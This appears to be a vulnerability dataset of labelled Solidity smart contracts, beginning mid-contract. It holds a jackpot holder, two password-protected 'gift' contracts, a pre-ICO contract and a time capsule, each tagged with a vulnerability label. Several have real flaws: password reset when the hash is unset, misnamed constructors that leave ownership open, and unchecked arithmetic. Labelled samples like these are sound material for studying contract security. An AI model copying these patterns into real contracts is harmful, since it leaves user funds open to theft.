    address private owner_;
    uint private totalSupply_;
    mapping(address => uint256) private balances_;
    mapping(address => mapping (address => uint256)) private allowed_;
    
    function totalSupply() public view returns (uint) {
        return totalSupply_;
    }
    
    function balanceOf(address who) public view returns (uint) {
        return balances_[who];
    }
    
    function allowance(address out, address act) public view returns (uint) {
        return allowed_[out][act];
    }

    function transfer(address to, uint256 val) public payable returns (bool) {
        require(balances_[msg.sender] >= val);
        balances_[msg.sender] -= val;
        balances_[to] += val;
        emit Transfer(msg.sender, to, val);
        return true;
    }

    function approve(address who, uint256 val) public payable returns (bool) {
        allowed_[msg.sender][who] = val;
        emit Approval(msg.sender, who, val);
        return true;
    }

    function transferFrom(address who, address to, uint256 val) public payable returns (bool) {
        require(balances_[who] >= val);
        require(allowed_[who][msg.sender] >= val);
        allowed_[who][msg.sender] -= val;
        balances_[who] -= val;
        balances_[to] += val;
        emit Transfer(who, to, val);
        return true;
    }
    
    function mint(address who, uint256 val) onlyOwner public payable {
        balances_[who] += val;
        totalSupply_ += val;
        emit Transfer(0, who, val);
    }
    
    function burn(address who, uint256 val) onlyOwner public payable {
        balances_[who] -= val;
        totalSupply_ -= val;
        emit Transfer(who, 0, val);
    }
}
// Vulnerability label: LE_RENT
pragma solidity ^0.4.24;

/*
*
* Jackpot holding contract for Zlots.
*  
* This accepts token payouts from Zlots for every player loss,
* and on a win, pays out *half* of the jackpot to the winner.
*
* Jackpot payout should only be called from Zlots.
*
*/

contract ZethrInterface {
  function balanceOf(address who) public view returns (uint);
  function transfer(address _to, uint _value) public returns (bool);
	function withdraw(address _recipient) public;
}

// Should receive Zethr tokens
contract ERC223Receiving {
  function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}

// The actual contract
contract ZlotsJackpotHoldingContract is ERC223Receiving {

  // ------------------------- Modifiers

  // Require msg.sender to be owner
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  } 

  // Require msg.sender to be zlots
  modifier onlyZlots() {
    require(msg.sender == zlots);
    _;
  }

	// -------------------------- Events

  // Events
  event JackpotPayout(
    uint amountPaid,
    address winner,
    uint payoutNumber
  );

	// -------------------------- Variables

  // Configurables
  address owner;
  address zlots;
  ZethrInterface Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D);

  // Trackers
  uint payoutNumber = 0; // How many times we've paid out the jackpot
  uint totalPaidOut = 0; // The total amount we've paid out 

  // ------------------------- Functions

	// Constructor
  constructor (address zlotsAddress) public {
    owner = msg.sender;
    zlots = zlotsAddress;
  }

  // When we transfer, divs are withdraw.
  // This means we need an empty public payable.
  function () public payable { }

  // Callable only by Zlots
  // Pay a winner half of the jackpot
  function payOutWinner(address winner) onlyZlots {
		// Calculate payout & pay out
 		uint payoutAmount = Zethr.balanceOf(address(this)) / 2;
		Zethr.transfer(winner, payoutAmount);	

		// Incremement the vars
		payoutNumber += 1;
		totalPaidOut += payoutAmount / 2;

		emit JackpotPayout(payoutAmount / 2, winner, payoutNumber);
  }

	// Admin function to pull all tokens if we need to - like upgrading this contract
	function pullTokens(address _to) public onlyOwner {
    uint balance = Zethr.balanceOf(address(this));
    Zethr.transfer(_to, balance);
	}

  // Admin function to change zlots address if we need to
  function setZlotsAddress(address zlotsAddress) public onlyOwner {
    zlots = zlotsAddress;
  }

  // Token fallback to accept jackpot payments from Zlots
  // These tokens can come from anywhere, really - why restrict?
  function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes/*_data*/) public returns (bool) {
    // Do nothing, we can track the jackpot by this balance
  }

	// View function - returns the jackpot amount
  function getJackpot() public view returns (uint) {
    return Zethr.balanceOf(address(this)) / 2;
  }
}
// Vulnerability label: ARTHM_TimeM_TimeO
pragma solidity ^0.4.19;

contract GIFT_1_ETH
{
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == keccak256(pass) && now>giftTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(msg.sender==reciver && now>giftTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    bytes32 hashPass;
    
    bool closed = false;
    
    address sender;
    
    address reciver;
 
    uint giftTime;
 
    function GetHash(bytes pass) public pure returns (bytes32) {return keccak256(pass);}
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || hashPass==0x0 )
        {
            hashPass = hash;
            sender = msg.sender;
            giftTime = now;
        }
    }
    
    function SetGiftTime(uint date)
    public
    {
        if(msg.sender==sender)
        {
            giftTime = date;
        }
    }
    
    function SetReciver(address _reciver)
    public
    {
        if(msg.sender==sender)
        {
            reciver = _reciver;
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass&&msg.sender==sender)
        {
           closed=true;
        }
    }
    
    function() public payable{}
    
}
// Vulnerability label: ARTHM_TimeM_TimeO
pragma solidity ^0.4.24;

// Fabrica pre-ICO stage
//      see proposal at fabrica.io

contract Ownable {
    address public owner;
    
    function Ownable() public {
        owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
}

contract myPreICO is Ownable {
    uint public ETHRaised;
    uint public soft_cap = 1 ether; // once we raise min 1 ETH, we can get them and start the ICO preparation
    uint public hard_cap = 10 ether;// once we've raised 10 ETH, you can't withdraw them back, project will run to the ICO stage
    address public owner = 0x0;
    uint public end_date;
    address[] public holders;
    mapping (address => uint) public holder_balance;
    
    function myICO() public {
        owner = msg.sender;
        end_date = now + 90 days; // holders can take their money back some time later if pre-ICO failed
    }

    function sendFunds(address _addr) public onlyOwner {
        require (ETHRaised >= soft_cap); // can get $ETH only if soft_cap reached
        _addr.transfer(address(this).balance);
    }

    function withdraw() public {
        uint amount;
        require(now > end_date);// holders can take their money back if pre-ICO failed ...
        require(ETHRaised < hard_cap);// ... and hard_cap has't been reached
        amount = holder_balance[msg.sender];
        holder_balance[msg.sender] = 0;
        msg.sender.transfer(amount);
    }
    
    function () public payable {
        require(msg.value > 0);
        holders.push(msg.sender);
        holder_balance[msg.sender] += msg.value;
        ETHRaised += msg.value;
    }

    function getFunds() public view returns (uint){
        return address(this).balance;
    }
}
// Vulnerability label: ARTHM_TimeM_TimeO
pragma solidity ^0.4.19;

contract GIFT_ENVELOPE
{
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == keccak256(pass) && now>giftTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function GetGift()
    public
    payable
    {
        if(msg.sender==reciver && now>giftTime)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    bytes32 hashPass;
    
    bool closed = false;
    
    address sender;
    
    address reciver;
 
    uint giftTime;
 
    function GetHash(bytes pass) public pure returns (bytes32) {return keccak256(pass);}
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || hashPass==0x0 )
        {
            hashPass = hash;
            sender = msg.sender;
            giftTime = now;
        }
    }
    
    function SetGiftTime(uint date)
    public
    {
        if(msg.sender==sender)
        {
            giftTime = date;
        }
    }
    
    function SetReciver(address _reciver)
    public
    {
        if(msg.sender==sender)
        {
            reciver = _reciver;
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass&&msg.sender==sender)
        {
           closed=true;
        }
    }
    
    function() public payable{}
    
}
// Vulnerability label: ARTHM_TimeM_TimeO
pragma solidity ^0.4.17;

contract Ownable {
    address public Owner;
    
    function Ownable() { Owner = msg.sender; }
    function isOwner() internal constant returns (bool) { return( Owner == msg.sender); }
}

contract TimeCapsule is Ownable {
    address public Owner;
    mapping (address=>uint) public deposits;
    uint public openDate;
    
    function initCapsule(uint open) {
        Owner = msg.sender;
        openDate = open;
    }

    function() payable { deposit(); }
    
    function deposit() {
        if( msg.value >= 0.5 ether )
            deposits[msg.sender] += msg.value;
        else throw;
    }
    
    function withdraw(uint amount) {
        if( isOwner() && now >= openDate ) {
            uint max = deposits[msg.sender];
            if( amount <= max && max > 0 )
                msg.sender.send( amount );
        }
    }

    function kill() {
        if( isOwner() && this.balance == 0 )
            suicide( msg.sender );
	}
}